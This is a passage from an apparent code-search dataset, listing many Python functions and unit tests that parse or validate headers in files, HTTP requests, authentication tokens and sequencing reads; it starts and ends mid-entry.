len(re.findall(\"^#{{1,{0}}} .+\".format(max_level), line)) > 0\n else:\n return len(re.findall(\"^#+ .+\", line)) > 0","def test_header_row(self):\n header_row = self.view_class().header_row\n if not header_row:\n return\n\n response = self.view_class().get()\n # Some formatting needs to be done so that the header row\n # is compliant with the CSV dialect - all fields need\n # to be quoted.\n quoted_header_row = '\"{}\"'.format('\",\"'.join(header_row))\n self.assertContains(response, quoted_header_row)","def verify_raw_google_hash_header(google_hash: str) -> bool:\n\n return bool(re.match(r'(crc32c=[A-Za-z0-9+/=]+),(md5=[A-Za-z0-9+/=]+)', google_hash))","def test_missing_header(barred_tac_list_importer, logger, db_conn):\n expect_failure(barred_tac_list_importer, exc_message='Metadata header, cannot find the column headers - tac, '\n '10000110')","def validate_auth_header(headers):\n if current_app.auth_db is None:\n raise NoAuthenticationDatabaseException\n\n if \"Authorization\" not in headers:\n raise NoAuthHeaderException\n\n auth_header = headers[\"Authorization\"].split(\" \")\n\n if len(auth_header) < 2 or auth_header[0] != \"Bearer\":\n raise InvalidAuthHeaderException\n\n token = auth_header[1]\n\n decoded = current_app.authenticator.decode_token(token)\n\n g.client_data = decoded\n\n if datetime.datetime.utcnow() > decoded.expiration:\n raise ExpiredTokenException\n\n database_token = current_app.auth_db.lookup_token(decoded.token_id)\n\n if database_token != decoded:\n raise InvalidTokenException\n\n return decoded","def missing_header_fields():\n auth_token = get_auth_token()\n\n headers = '{\"Host\": \"$host\",\"Date\": \"DATE\",'\n headers += '\"Accept-Encoding\": \"gzip\",'\n headers += '\"X-Auth-Token\": \"$token\"}'\n headers = string.Template(headers)\n\n return headers.substitute(host=CFG.host, token=auth_token)","def _check_header_data(self, scan_data, min_rt=None, max_rt=None, ms_level=None, polarity=None):\n \n if min_rt is not None and scan_data['retention_time'] < min_rt:\n return False\n \n if max_rt is not None and scan_data['retention_time'] > max_rt:\n return False\n \n if ms_level is not None and scan_data['ms_level'] != ms_level:\n return False\n \n if polarity is not None and scan_data['polarity'] != polarity:\n return False\n \n return True","def test_valid_header_no_message_added(self):\n\n node_mock = MagicMock()\n node_mock.stream.return_value.__enter__.return_value.read.return_value.decode.return_value = self.EXPECTED_HEADER\n with self.assertNoMessages():\n self.checker.process_module(node_mock)","def _check_type(self):\n assert self.mapping == self.mapping_type, \\\n \"Expected header mapping='{}' but got mapping='{}' in '{}'\".format(\n self.mapping_type, self.mapping.upper(), self.filename)","def header_offset_check(key):\n return {\n 'ver': UINT16,\n 'm_len': UINT16,\n 'seq_no': UINT32,\n 'time': UINT32,\n 'set_id': UINT16,\n 'set_len': UINT16,\n }.get(key, 0)","def dnr_check(self, header):\n try:\n return self.locate.dnr_check(header)\n except Exception:\n return False","def _check_headers(cursor, headers):\n all_columns = set(chain.from_iterable(_columns(cursor, table) for table in DATA_TABLES))\n for header in headers:\n if header not in all_columns:\n raise ValueError('column {} not recognized'.format(header))","def is_valid_http_request(split_request_header: list) -> bool:\n if len(split_request_header) < 3:\n return False\n if split_request_header[0] not in HttpServer.REQUESTS:\n return False\n if split_request_header[2] != \"HTTP/1.1\":\n return False\n if split_request_header[0] == \"PUT\" or split_request_header[0] == \"POST\":\n # see if there aren't any directories preceding the file\n occurrences = re.findall(\"/\", split_request_header[1])\n if len(occurrences) > 1:\n return False\n\n return True\n\n # return len(split_request_header) < 3 or \\\n # split_request_header[0] not in HttpServer.REQUESTS or \\\n # split_request_header[2] != \"HTTP/1.1\"","def test_response_header(BASE_URL, COUNTRY_CODE):\n # make request\n result = requests.get(f'{BASE_URL}{COUNTRY_CODE}')\n assert result.headers['Content-Type'] == 'application/json'","def test_header(self):\n header = mibheader(TEST_MIB)\n\n true_value = {\n \"ID\": \"MQ1\",\n \"seq_num\": 1,\n \"offset\": 384,\n \"nchips\": 1,\n \"shape\": (256, 256),\n \"dtype\": np.dtype(\">u2\"),\n \"timestamp\": datetime(2018, 1, 19, 20, 55, 10, 966026).timestamp(),\n }\n\n self.assertDictEqual(header, true_value)","def test_check_header_match_180_or_later(self):\r\n # identical\r\n self.assertTrue(check_header_match_180_or_later(\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\",\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\"))\r\n # identical except read number\r\n self.assertTrue(check_header_match_180_or_later(\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\",\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 2:N:0:0\"))\r\n # identical except read number\r\n self.assertTrue(check_header_match_180_or_later(\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\",\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 3:N:0:0\"))\r\n # different reads\r\n self.assertFalse(check_header_match_180_or_later(\r\n \"M00176:17:000000000-A0CNA:1:1:15487:1773 1:N:0:0\",\r\n \"M00176:17:000000000-A0CNA:1:1:16427:1774 1:N:0:0\"))","def _check_duplicate_headers(self, docstring: PetscDocStringImpl) -> None:\n for heading, where in self.seen_headers.items():\n if len(where) <= 1:\n continue\n\n lasti = len(where) - 1\n src_list = []\n nbefore = 2\n nafter = 0\n prev_line_begin = 0\n for i, loc in enumerate(where):\n startline = loc.start.line\n if i:\n nbefore = startline - prev_line_begin - 1\n if i == lasti:\n nafter = 2\n src_list.append(loc.formatted(num_before_context=nbefore, num_after_context=nafter, trim=False))\n prev_line_begin = startline\n mess = \"Multiple '{}' subheadings. Much like Highlanders, there can only be one:\\n{}\".format(\n self.transform(self.name), '\\n'.join(src_list)\n )\n docstring.add_diagnostic(\n Diagnostic(Diagnostic.Kind.ERROR, self.diags.section_header_unique, mess, self.extent.start)\n )\n return"],"string":"[\n \"def check_header(self, name, value):\\r\\n if value in self.headers.get(name, ''):\\r\\n return True\\r\\n return False\",\n \"def check_header(self, name, value):\\r\\n if value in self.headers.get(name, ''):\\r\\n return True\\r\\n return False\",\n \"def test_check_header(self):\\r\\n\\r\\n # Default header, should not generate any errors/warnings\\r\\n header = ['SampleID', 'BarcodeSequence', 'LinkerPrimerSequence',\\r\\n 'Description']\\r\\n errors = []\\r\\n warnings = []\\r\\n\\r\\n errors, warnings = check_header(header,\\r\\n errors,\\r\\n warnings,\\r\\n sample_id_ix=0,\\r\\n desc_ix=3,\\r\\n bc_ix=1,\\r\\n linker_primer_ix=2,\\r\\n added_demultiplex_field=None)\\r\\n\\r\\n expected_errors = []\\r\\n expected_warnings = []\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\\r\\n self.assertEqual(warnings, expected_warnings)\",\n \"def check_header(self, entry):\\n if entry not in self.metadata:\\n raise SyntaxError(\\\"Header entry must be described in the metadata lines. Entry: %s is not in metadata.\\\" % entry)\",\n \"def validate_header(self, reply):\\n # check message is from my agg to me\\n check_equal(reply.header.sender, self.aggregator_uuid, self.logger)\\n check_equal(reply.header.recipient, self.common_name, self.logger)\\n\\n # check that the federation id matches\\n check_equal(reply.header.federation_id, self.federation_uuid, self.logger)\\n\\n # check that we agree on single_col_cert_common_name\\n check_equal(reply.header.single_col_cert_common_name, self.single_col_cert_common_name, self.logger)\",\n \"def _is_header(line):\\n line = line.strip()\\n if line.startswith('#') or line.startswith('track') or line.startswith(\\n 'browser'): # BED header\\n return True\\n else:\\n return False\",\n \"def _validate_header(self, cleartext_header, decrypted_header):\\n import struct\\n\\n magic_number1 = struct.unpack(\\\"!I\\\", decrypted_header[:4])[0]\\n # file_version = struct.unpack(\\\"!I\\\", decrypted_header[4:8])[0]\\n # key_stretches = struct.unpack(\\\"!I\\\", decrypted_header[8:12])[0]\\n magic_number2 = struct.unpack(\\\"!I\\\", decrypted_header[12:])[0]\\n if (self.__magic_number != magic_number1 or\\n self.__magic_number != magic_number2):\\n raise DecryptionError()\\n if cleartext_header != decrypted_header:\\n raise FileCorruptionError()\",\n \"def assert_header(self):\\r\\n\\r\\n if self.length > self.owner.settings[SETTINGS_MAX_FRAME_SIZE]:\\r\\n raise netius.ParserError(\\r\\n \\\"Headers are greater than SETTINGS_MAX_FRAME_SIZE\\\",\\r\\n stream = self.stream,\\r\\n error_code = FRAME_SIZE_ERROR\\r\\n )\\r\\n if self.last_type in (HEADERS, CONTINUATION) and not\\\\\\r\\n self.last_end_headers and not self.last_stream == self.stream:\\r\\n raise netius.ParserError(\\r\\n \\\"Cannot send frame from a different stream in middle of headers\\\",\\r\\n error_code = PROTOCOL_ERROR\\r\\n )\",\n \"def is_header(line):\\n return line[0] == '>'\",\n \"def test_check_header_missing_fields(self):\\r\\n\\r\\n # Default header, should not generate any errors/warnings\\r\\n header = ['AAA', 'XXX', 'YYY',\\r\\n 'ZZZ']\\r\\n errors = []\\r\\n warnings = []\\r\\n\\r\\n errors, warnings = check_header(header,\\r\\n errors,\\r\\n warnings,\\r\\n sample_id_ix=0,\\r\\n desc_ix=3,\\r\\n bc_ix=1,\\r\\n linker_primer_ix=2,\\r\\n added_demultiplex_field=None)\\r\\n\\r\\n expected_errors = [\\r\\n 'Found header field AAA, expected field SampleID\\\\t0,0',\\r\\n 'Found header field XXX, expected field BarcodeSequence\\\\t0,1',\\r\\n 'Found header field YYY, expected field LinkerPrimerSequence\\\\t0,2',\\r\\n 'Found header field ZZZ, last field should be Description\\\\t0,3']\\r\\n expected_warnings = []\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\\r\\n self.assertEqual(warnings, expected_warnings)\",\n \"def check_header(line):\\n if line[:7] == '###### ':\\n line = '<h6>' + line[7:] + '</h6>'\\n elif line[:6] == '##### ':\\n line = '<h5>' + line[6:] + '</h5>'\\n elif line[:5] == '#### ':\\n line = '<h4>' + line[5:] + '</h4>'\\n elif line[:4] == '### ':\\n line = '<h3>' + line[4:] + '</h3>'\\n elif line[:3] == '## ':\\n line = '<h2>' + line[3:] + '</h2>'\\n elif line[:2] == '# ':\\n line = '<h1>' + line[2:] + '</h1>'\\n else:\\n return False, ''\\n\\n return True, line\",\n \"def test_headers(self):\\n msg = self.shortDescription()\\n self.assertTrue(False, msg=msg)\\n pass\",\n \"def verifyHeader(self, headers):\\n for head in headers:\\n if(hex(head[0]) == VID and hex(head[1]) == PID):\\n return True\\n return False\",\n \"def parse_header(self):\",\n \"def test_parse_header(self):\\n data = parse_header(self.header)\\n self.assertEqual(data.get(\\\"application\\\"), \\\"my Grandma\\\")\\n self.assertEqual(data.get(\\\"version\\\"), \\\"has\\\")\\n self.assertEqual(data.get(\\\"reference\\\"), \\\"furry\\\")\\n self.assertEqual(data.get(\\\"query_letters\\\"), 27)\\n self.assertEqual(data.get(\\\"database\\\"), \\\"Cats\\\")\",\n \"def test_headers(self):\\n self.assert_expected_token_value()\",\n \"def validate_header_keyword(self):\\n\\n valid = False\\n if self.headers[0].upper() == \\\"NAME\\\":\\n valid = True\\n if self.headers[0] != \\\"NAME\\\":\\n msg = f'File keyword \\\"NAME\\\" provided as {self.headers[0]}'\\n self.store_validation_issue(\\\"warn\\\", msg, \\\"format:cap:name\\\")\\n else:\\n msg = \\\"Malformed file header row, missing NAME keyword. (Case Sensitive)\\\"\\n self.store_validation_issue(\\\"error\\\", msg, \\\"format:cap:name\\\")\\n return valid\",\n \"def test_check_header_bad_chars(self):\\r\\n\\r\\n # Default header, should not generate any errors/warnings\\r\\n header = [\\r\\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'AAA.^^2',\\r\\n 'Description']\\r\\n errors = []\\r\\n warnings = []\\r\\n\\r\\n errors, warnings = check_header(header,\\r\\n errors,\\r\\n warnings,\\r\\n sample_id_ix=0,\\r\\n desc_ix=4,\\r\\n bc_ix=1,\\r\\n linker_primer_ix=2,\\r\\n added_demultiplex_field=None)\\r\\n\\r\\n expected_errors = []\\r\\n expected_warnings = [\\r\\n 'Found invalid character in AAA.^^2 header field.\\\\t0,3']\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\\r\\n self.assertEqual(warnings, expected_warnings)\",\n \"def is_valid_header(headers: Dict[str, Any]) -> bool:\\n for name, value in headers.items():\\n if not utils.is_latin_1_encodable(value):\\n return False\\n if utils.has_invalid_characters(name, value):\\n return False\\n return True\",\n \"def is_header_content(response, key, value):\\n try:\\n if response.headers[key].lower() == value:\\n return True\\n else:\\n return False\\n except:\\n return False\",\n \"def check_headers(self, headers):\\n h = headers.values()[0]\\n\\n if 'DT' in PAR:\\n if h.dt != PAR.DT:\\n h.dt = PAR.DT\\n\\n if 'NT' in PAR:\\n if h.nt != PAR.NT:\\n print 'Warning: h.nt != PAR.NT'\\n\\n if 'NREC' in PAR:\\n if h.nr != PAR.NREC:\\n print 'Warning: h.nr != PAR.NREC'\\n\\n return h\",\n \"def check_header(header,\\r\\n errors,\\r\\n warnings,\\r\\n sample_id_ix,\\r\\n desc_ix,\\r\\n bc_ix,\\r\\n linker_primer_ix,\\r\\n added_demultiplex_field=None):\\r\\n\\r\\n # Check for duplicates, append to errors if found\\r\\n errors = check_header_dups(header, errors)\\r\\n\\r\\n # Check for valid characters\\r\\n warnings = check_header_chars(header, warnings)\\r\\n\\r\\n # Check for required header fields\\r\\n errors = check_header_required_fields(header, errors, sample_id_ix,\\r\\n desc_ix, bc_ix, linker_primer_ix, added_demultiplex_field)\\r\\n\\r\\n return errors, warnings\",\n \"def _validate_header(self, header: packets.PacketHeader):\\n if header.set_id != self._set_id:\\n raise ValueError(\\\"Packet set_id '{}', does not match RecoverySet id '{}'\\\"\\n .format(header.set_id.hex(), self._set_id.hex()))\",\n \"def _validate_header(self):\\n if 'X-Amz-Sns-Topic-Arn' in self._headers:\\n if self._topic_arn != self._headers.get(\\n 'X-Amz-Sns-Topic-Arn'):\\n self.error = 'Invalid TopicArn.'\\n raise ValueError('Invalid TopicArn')\\n else:\\n self.error = 'Invalid TopicArn'\\n raise ValueError('Invalid TopicArn')\\n\\n return True\",\n \"def check_header_match_180_or_later(header1, header2):\\r\\n header1 = header1.split(':')\\r\\n header2 = header2.split(':')\\r\\n for e1, e2 in zip(header1, header2):\\r\\n if e1.split(' ')[0] != e2.split(' ')[0]:\\r\\n return False\\r\\n\\r\\n return True\",\n \"def test_header(self):\\n\\n self.assertIsInstance(self.image.header, Header)\",\n \"def validate_unique_header(self):\\n valid = False\\n unique_headers = set(self.headers)\\n if len(unique_headers) == len(self.headers):\\n valid = True\\n else:\\n seen_headers = set()\\n duplicate_headers = set()\\n for x in self.headers:\\n if x in seen_headers or seen_headers.add(x):\\n duplicate_headers.add(x)\\n msg = f\\\"Duplicated header names are not allowed: {duplicate_headers}\\\"\\n log_exception(Annotations.dev_logger, Annotations.user_logger, msg)\\n self.store_validation_issue(\\\"error\\\", msg, \\\"format:cap:unique\\\")\\n valid = False\\n if any(\\\"Unnamed\\\" in s for s in list(unique_headers)):\\n msg = \\\"Headers cannot contain empty values\\\"\\n log_exception(Annotations.dev_logger, Annotations.user_logger, msg)\\n self.store_validation_issue(\\\"error\\\", msg, \\\"format:cap:no-empty\\\")\\n valid = False\\n return valid\",\n \"def correct_header_fields():\\n test_str = \\\"c0rrect_!!heAd3R fi3ld5__%%!! @\\\\n\\\"\\n server = start_server()\\n client = start_client()\\n\\n write_to(client, test_str)\\n segments = read_segments_from(client)\\n if not segments:\\n return False\\n teardown()\\n\\n # Start reference solution to get answers.\\n ref_server = start_server(port=REF_PORT, reference=True)\\n ref_client = start_client(server_port=REF_PORT, reference=True)\\n\\n # Get reference checksum.\\n write_to(ref_client, test_str)\\n ref_segment = read_segments_from(ref_client)[0]\\n\\n # Check the first sent segment. Should have all the same header fields as\\n # the reference.\\n segment = segments[0]\\n\\n # Check the flags first. Maybe decided to ACK all segments.\\n if not segment.has_same_flags(ref_segment):\\n if \\\"ACK\\\" in segment.flags:\\n segment.flags.remove(\\\"ACK\\\")\\n\\n return (\\n segment.seqno == ref_segment.seqno and\\n (segment.ackno == 0 or segment.ackno == ref_segment.ackno) and\\n segment.length == ref_segment.length and\\n segment.has_same_flags(ref_segment) and\\n segment.window == ref_segment.window and\\n (segment.checksum == ref_segment.checksum or\\n int(segment.checksum, 16) == segment.c_repr.cksum)\\n )\",\n \"def check_headerRow(self, expected, found):\\n\\n # spreadsheets must have either a barcode field or a object ID field, but both are not required\\n header1 = 'barcode'\\n header2 = ('object identifier\\\\n(edit heading to specify type' +\\n ' - e.g. barcode)')\\n expected = self.remove_annoying(header1, header2, expected, found)\\n\\n missing = []\\n\\n for header in expected:\\n if header not in found:\\n missing.append(header)\\n\\n if missing:\\n self.raise_excelerror(\\\"Missing required value- {0}.\\\"\\n .format(missing))\\n\\n return True\",\n \"def test_check_header_required_fields(self):\\r\\n\\r\\n # Default header, should not generate any errors/warnings\\r\\n header = [\\r\\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_prefix',\\r\\n 'Description']\\r\\n errors = []\\r\\n\\r\\n errors = check_header_required_fields(header,\\r\\n errors,\\r\\n sample_id_ix=0,\\r\\n desc_ix=4,\\r\\n bc_ix=1,\\r\\n linker_primer_ix=2,\\r\\n added_demultiplex_field='run_prefix')\\r\\n\\r\\n expected_errors = []\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\\r\\n\\r\\n # Should find all as errors if not named correctly\\r\\n header = ['AAA', 'BBB', 'CCC', 'DDD',\\r\\n 'EEE']\\r\\n errors = []\\r\\n\\r\\n errors = check_header_required_fields(header,\\r\\n errors,\\r\\n sample_id_ix=0,\\r\\n desc_ix=4,\\r\\n bc_ix=1,\\r\\n linker_primer_ix=2,\\r\\n added_demultiplex_field='run_prefix')\\r\\n\\r\\n expected_errors = [\\r\\n 'Found header field AAA, expected field SampleID\\\\t0,0',\\r\\n 'Found header field BBB, expected field BarcodeSequence\\\\t0,1',\\r\\n 'Found header field CCC, expected field LinkerPrimerSequence\\\\t0,2',\\r\\n 'Found header field EEE, last field should be Description\\\\t0,4',\\r\\n 'Missing added demultiplex field run_prefix\\\\t-1,-1']\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\",\n \"def _validate_header(self, header_row):\\n\\n self.logger.info(\\\"Validating header row.\\\")\\n \\n # assume value.\\n is_valid = True\\n\\n # check if @header_row is perfect.\\n required_keys = tuple(self.required_headers.keys())\\n if sorted(header_row) == sorted(required_keys):\\n self.logger.info(\\\"Header is valid.\\\")\\n return is_valid\\n else:\\n self.logger.error(\\\"Header is invalid.\\\")\\n is_valid = False\\n\\n # report on any missing header fields.\\n missing_headers = [header for header in self.required_headers if header not in\\n header_row]\\n if len(missing_headers) != 0:\\n self.logger.warning(\\\"Missing required fields: {}\\\".format(missing_headers))\\n \\n # report on any duplicate fields.\\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\\n if len(duplicate_headers) != 0:\\n self.logger.warning(\\\"Found duplicate fields: {}\\\".format(set(duplicate_headers)))\\n\\n # report on any extra fields.\\n extra_headers = [header for header in header_row if header not in \\n self.required_headers]\\n if len(extra_headers) != 0:\\n self.logger.warning(\\\"Found extra fields: {}\\\".format(extra_headers))\\n \\n return is_valid\",\n \"def test_parse_header_complete(self):\\n # try to process header with parameters etc in the XML\\n data = parse_header(self.complete)\\n self.assertEqual(data.get(\\\"database\\\"), \\\"Cats\\\")\\n self.assertEqual(data.get(\\\"matrix\\\"), \\\"BLOSUM62\\\")\",\n \"def test_is_fasta_header(self):\\r\\n\\r\\n is_fasta_header = False\\r\\n\\r\\n with open(full_file_name, \\\"r\\\") as in_file:\\r\\n for line in in_file:\\r\\n is_fasta_header = mfau.is_header_line(line)\\r\\n\\r\\n # only testing the first line\\r\\n break\\r\\n\\r\\n self.assertEqual(is_fasta_header, True)\",\n \"def test_check_header_chars(self):\\r\\n\\r\\n # Default header, should not generate any errors/warnings\\r\\n header = [\\r\\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_p-%efix',\\r\\n 'Description']\\r\\n warnings = []\\r\\n\\r\\n warnings = check_header_chars(header, warnings)\\r\\n\\r\\n expected_warnings = [\\r\\n 'Found invalid character in run_p-%efix header field.\\\\t0,3']\\r\\n\\r\\n self.assertEqual(warnings, expected_warnings)\",\n \"def test_specific_headers_sent_with_request(self):\\n req = self.httpbin.get_my_headers(dry_run=True)\\n self.assertIn('All-Request-Headers', req.prepared_request.headers)\\n request_data_headers = self.httpbin.client['get_my_headers']['headers']['All-Request-Headers']\\n self.assertEqual(req.prepared_request.headers['All-Request-Headers'], request_data_headers)\",\n \"def test_check_header_match_pre180(self):\\r\\n\\r\\n # match w illumina qual string\\r\\n self.assertTrue(check_header_match_pre180(\\\"@990:2:4:11272:5533#1/1\\\",\\r\\n \\\"@990:2:4:11272:5533#1/2\\\"))\\r\\n self.assertTrue(check_header_match_pre180(\\\"@990:2:4:11272:5533#1/1\\\",\\r\\n \\\"@990:2:4:11272:5533#1/3\\\"))\\r\\n # qual string differs (this is acceptable)\\r\\n self.assertTrue(check_header_match_pre180(\\\"@990:2:4:11272:5533#1/1\\\",\\r\\n \\\"@990:2:4:11272:5533#0/3\\\"))\\r\\n # match wo illumina qual string\\r\\n self.assertTrue(check_header_match_pre180(\\\"@990:2:4:11272:5533/1\\\",\\r\\n \\\"@990:2:4:11272:5533/2\\\"))\\r\\n self.assertTrue(check_header_match_pre180(\\\"@990:2:4:11272:5533/1\\\",\\r\\n \\\"@990:2:4:11272:5533/3\\\"))\\r\\n\\r\\n # mismatch w illumina qual string\\r\\n self.assertFalse(check_header_match_pre180(\\\"@990:2:4:11272:5533#1/1\\\",\\r\\n \\\"@990:2:4:11272:5532#1/2\\\"))\\r\\n self.assertFalse(check_header_match_pre180(\\\"@990:2:4:11272:5533#1/1\\\",\\r\\n \\\"@890:2:4:11272:5533#1/2\\\"))\\r\\n # mismatch wo illumina qual string\\r\\n self.assertFalse(check_header_match_pre180(\\\"@990:2:4:11272:5533/1\\\",\\r\\n \\\"@990:2:4:11272:5532/2\\\"))\\r\\n self.assertFalse(check_header_match_pre180(\\\"@990:2:4:11272:5533/1\\\",\\r\\n \\\"@890:2:4:11272:5533/2\\\"))\",\n \"def has_header():\\n header_content = (\\\"\\\\n\\\".join(CURRENT_BUFFER[:7])).lower()\\n return sum(1 for keyword in KEYWORDS if header_content.find(keyword.lower()) != -1) >= 2\",\n \"def check_headerEntries(self, expected, found):\\n\\n # spreadsheets must have either a barcode field or a object ID field, but both are not required\\n header1 = ('original master', 'object', 'barcode')\\n header2 = ('original master', 'object',\\n 'object identifier\\\\n(edit heading to specify type ' +\\n '- e.g. barcode)')\\n expected = self.remove_annoying(header1, header2, expected, found)\\n\\n bad_entries = []\\n\\n for header in expected:\\n if header not in found:\\n bad_entries.append(header)\\n\\n if bad_entries:\\n self.raise_excelerror(\\\"Incorrect header entry for {0}.\\\"\\n .format(bad_entries))\\n return True\",\n \"def check_headers():\\n report = {}\\n for header_name, msg in request.headers.items():\\n if header_name.upper().startswith('SAND-'):\\n checker = sand.header.header_name_to_checker.get(\\n header_name.lower())\\n if checker:\\n checker.check_syntax(msg.strip())\\n report[header_name] = checker.errors\\n else:\\n report[header_name] = [('Header name not supported by this ' +\\n 'version of conformance server')]\\n result = \\\"Report for SAND headers conformance:\\\\n\\\"\\n if report:\\n for name, errors in report.items():\\n if errors:\\n result += '%s: FAILED\\\\n' % name\\n for msg in errors:\\n result += ' %s\\\\n' % msg\\n else:\\n result += '%s: PASSED\\\\n' % name\\n else:\\n result += 'No SAND header found!\\\\n'\\n return result, 200, {'Content-Type': 'text/plain'}\",\n \"def test_h2_header_ok(self):\\n self.set_frang_config(frang_config=\\\"http_strict_host_checking true;\\\")\\n client = self.get_client(\\\"deproxy-1\\\")\\n client.start()\\n client.parsing = False\\n\\n first_headers = [(\\\":authority\\\", \\\"localhost\\\"), (\\\":path\\\", \\\"/\\\")]\\n second_headers = [(\\\":path\\\", \\\"/\\\"), (\\\"host\\\", \\\"localhost\\\")]\\n third_headers = [(\\\":authority\\\", \\\"localhost\\\"), (\\\":path\\\", \\\"/\\\"), (\\\"host\\\", \\\"localhost\\\")]\\n fourth_headers = [\\n (\\\":authority\\\", \\\"tempesta-tech.com\\\"),\\n (\\\":path\\\", \\\"/\\\"),\\n (\\\"forwarded\\\", \\\"host=tempesta-tech.com\\\"),\\n (\\\"forwarded\\\", \\\"for=tempesta.com\\\"),\\n ]\\n\\n header_list = [\\n first_headers,\\n first_headers, # as byte\\n second_headers,\\n second_headers, # as byte\\n third_headers,\\n third_headers, # as byte\\n fourth_headers,\\n fourth_headers, # as byte\\n ]\\n for header in header_list:\\n head = [\\n (\\\":scheme\\\", \\\"https\\\"),\\n (\\\":method\\\", \\\"HEAD\\\"),\\n ]\\n head.extend(header)\\n client.make_request(head)\\n self.assertTrue(client.wait_for_response(1))\\n\\n self.check_response(client, status_code=\\\"200\\\", warning_msg=\\\"frang: \\\")\",\n \"def test_authorization_header_not_present(self, get_key_secret):\\r\\n request = Request(self.environ)\\r\\n request.body = self.get_request_body()\\r\\n response = self.xmodule.grade_handler(request, '')\\r\\n real_response = self.get_response_values(response)\\r\\n expected_response = {\\r\\n 'action': None,\\r\\n 'code_major': 'failure',\\r\\n 'description': 'OAuth verification error: Malformed authorization header',\\r\\n 'messageIdentifier': self.DEFAULTS['messageIdentifier'],\\r\\n }\\r\\n\\r\\n self.assertEqual(response.status_code, 200)\\r\\n self.assertDictEqual(expected_response, real_response)\",\n \"def test_authorization_header_not_present(self, _get_key_secret):\\n request = Request(self.environ)\\n request.body = self.get_request_body()\\n response = self.xmodule.grade_handler(request, '')\\n real_response = self.get_response_values(response)\\n expected_response = {\\n 'action': None,\\n 'code_major': 'failure',\\n 'description': 'OAuth verification error: Malformed authorization header',\\n 'messageIdentifier': self.defaults['messageIdentifier'],\\n }\\n\\n assert response.status_code == 200\\n self.assertDictEqual(expected_response, real_response)\",\n \"def hasProperField(dHeader,s):\\n\\tif not dHeader.get(s):\\n\\t\\tshowUsage(dHeader)\\n\\t\\traise '\\\\nneed proper %s input\\\\n' % s\\n\\treturn 1\",\n \"def check_no_header_response(response: HTTPResponse) -> bool:\\n return response.status_code == 422\",\n \"def check_header_required_fields(header,\\r\\n errors,\\r\\n sample_id_ix,\\r\\n desc_ix,\\r\\n bc_ix,\\r\\n linker_primer_ix,\\r\\n added_demultiplex_field=None):\\r\\n\\r\\n header_checks = {\\r\\n sample_id_ix: \\\"SampleID\\\",\\r\\n desc_ix: \\\"Description\\\",\\r\\n bc_ix: \\\"BarcodeSequence\\\",\\r\\n linker_primer_ix: \\\"LinkerPrimerSequence\\\"\\r\\n }\\r\\n\\r\\n for curr_check in header_checks:\\r\\n if (header[curr_check] != header_checks[curr_check] and\\r\\n header_checks[curr_check] == \\\"Description\\\"):\\r\\n errors.append('Found header field %s, last field should be %s' %\\r\\n (header[curr_check], header_checks[curr_check]) +\\r\\n '\\\\t%d,%d' % (0, curr_check))\\r\\n elif (header[curr_check] != header_checks[curr_check] and\\r\\n header_checks[curr_check] != \\\"Description\\\"):\\r\\n errors.append('Found header field %s, expected field %s' %\\r\\n (header[curr_check], header_checks[curr_check]) +\\r\\n '\\\\t%d,%d' % (0, curr_check))\\r\\n\\r\\n if added_demultiplex_field:\\r\\n if added_demultiplex_field not in header:\\r\\n errors.append('Missing added demultiplex field %s\\\\t%d,%d' %\\r\\n (added_demultiplex_field, -1, -1))\\r\\n\\r\\n return errors\",\n \"def check_header(filename: str, *, is_newly_created: bool = False) -> None:\\n lines = get_header_lines(filename)\\n check_header_present(filename, lines)\\n is_py3_file = all(\\\"from __future__\\\" not in line for line in lines)\\n if is_py3_file:\\n lines = lines[:EXPECTED_NUM_PY3_LINES]\\n copyright_line_index = 0\\n expected_header = EXPECTED_HEADER_PY3\\n else:\\n copyright_line_index = 1\\n expected_header = EXPECTED_HEADER_PY2\\n check_copyright_year(\\n filename, copyright_line=lines[copyright_line_index], is_newly_created=is_newly_created\\n )\\n check_matches_header(\\n filename, lines, expected_header=expected_header, copyright_line_index=copyright_line_index\\n )\",\n \"def _parse_header(self):\\n # read the first bytes from the file\\n header = self._stream_handle.read(HEADER_BYTES)\\n match = HEADER_MATCHER.match(header)\\n if not match:\\n raise SampleException(\\\"File header does not match the header regex\\\")\\n\\n # update the state to show we have read the header\\n self._increment_state(HEADER_BYTES)\",\n \"def test_check_header_dups(self):\\r\\n\\r\\n # Default header, should not generate any errors/warnings\\r\\n header = [\\r\\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_prefix',\\r\\n 'Description']\\r\\n errors = []\\r\\n\\r\\n errors = check_header_dups(header, errors)\\r\\n\\r\\n expected_errors = []\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\\r\\n\\r\\n # Should give errors with dups\\r\\n header = [\\r\\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_prefix', 'run_prefix',\\r\\n 'Description']\\r\\n errors = []\\r\\n\\r\\n errors = check_header_dups(header, errors)\\r\\n\\r\\n expected_errors = [\\r\\n 'run_prefix found in header 2 times. Header fields must be unique.\\\\t0,3',\\r\\n 'run_prefix found in header 2 times. Header fields must be unique.\\\\t0,4']\\r\\n\\r\\n self.assertEqual(errors, expected_errors)\",\n \"def validate_against_header_count(self):\\n valid = False\\n len_headers = len(\\n [header for header in self.headers if \\\"Unnamed\\\" not in header]\\n )\\n len_annot_type = len(\\n [\\n annot_type\\n for annot_type in self.annot_types\\n if \\\"Unnamed\\\" not in annot_type\\n ]\\n )\\n if not len_headers == len_annot_type:\\n msg = (\\n f\\\"Header mismatch: {len_annot_type} TYPE declarations \\\"\\n f\\\"for {len_headers} column headers\\\"\\n )\\n self.store_validation_issue(\\\"error\\\", msg, \\\"format:cap:count\\\")\\n else:\\n valid = True\\n return valid\",\n \"def _read_header(self, stream):\\n return\",\n \"def test_prepare_mac_header(self):\\n 